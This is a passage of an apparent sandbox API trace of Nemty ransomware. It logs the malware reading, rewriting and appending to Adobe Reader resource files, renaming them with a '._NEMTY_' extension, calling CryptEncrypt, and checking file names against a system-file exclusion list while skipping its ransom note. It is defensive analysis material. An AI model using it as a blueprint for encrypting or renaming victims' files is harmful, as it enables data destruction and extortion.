RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.543] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24666) returned 1 [0216.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6050) returned 0x6352c48 [0216.543] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.543] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6050, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6050, lpOverlapped=0x0) returned 1 [0216.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6050, lpOverlapped=0x0) returned 1 [0216.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24666, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x605a [0216.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.546] CloseHandle (hObject=0x2e8) returned 1 [0216.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.547] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt._nemty_kgobjgd_")) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.548] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="DISPLA~2.TXT")) returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2=".") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="..") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="...") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="windows") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="rsa") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="NTDETECT.COM") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="ntldr") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="MSDOS.SYS") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="IO.SYS") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="boot.ini") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="boot.ini") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="ntuser.dat") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="desktop.ini") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="CONFIG.SYS") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="RECYCLER") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="bootmgr") returned 1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="programdata") returned -1 [0216.548] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW_STROKE.txt", lpString2="appdata") returned 1 [0216.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0216.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0216.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW_STROKE.txt", lpUsedDefaultChar=0x0) returned 37 [0216.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0216.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0216.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW_STROKE.txt", lpUsedDefaultChar=0x0) returned 37 [0216.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0216.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0216.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0216.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW_STROKE.txt", lpUsedDefaultChar=0x0) returned 37 [0216.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0216.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0216.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0216.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW_STROKE.txt", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW_STROKE.txt", lpUsedDefaultChar=0x0) returned 37 [0216.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0216.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0216.549] Sleep (dwMilliseconds=0x5) [0216.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b73310, dwHighDateTime=0x1d561e8)) [0216.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b73310, dwHighDateTime=0x1d561e8)) [0216.557] GetLastError () returned 0x0 [0216.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.557] GetLastError () returned 0x0 [0216.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.557] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.557] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="r/MEyK53IbL6RRb1Siq/nxq5LI9hmhWw9XwPP3BR0wZ/+S3scYecbFzG0xiEYFZM\r\nZYe1FsuZV5hi8oL7G6XVqHgm4y56FoWpQd/AjvnyWCiO9ZSITFMtBxlUK+2AVlQL\r\n3HehI7eu/xz7DO8ZF46oVtEuUm3ABq4fZ96i298O/UObUqXGb2oNVYL/VwQz3Gvb\r\nKCn4RO7jLKGY3zBYgbwbLQj6LKbWQSOl8mIqCWaxli+D6A1Q8tpOjf2XXpa0QjI5\r\nQCNnlNSffi6DETpEOeRAvVYLH+KzopSOk9xxvESgiXPwC9Pq6N9GcLUnSvCqujQe\r\nkiFXeePm7/zpLZI3wOcBUw==\r\n", pcchString=0x653e5dc) returned 1 [0216.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.558] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24716) returned 1 [0216.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6080) returned 0x6352c48 [0216.558] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.558] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6080, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6080, lpOverlapped=0x0) returned 1 [0216.562] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.562] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6080, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6080, lpOverlapped=0x0) returned 1 [0216.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.562] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24716, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x608c [0216.562] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.562] CloseHandle (hObject=0x2e8) returned 1 [0216.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0216.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0216.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0216.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0216.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.562] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt._nemty_kgobjgd_")) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0216.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.563] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338421b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x338421b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x338421b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0216.563] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0216.564] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.564] WideCharToMultiByte 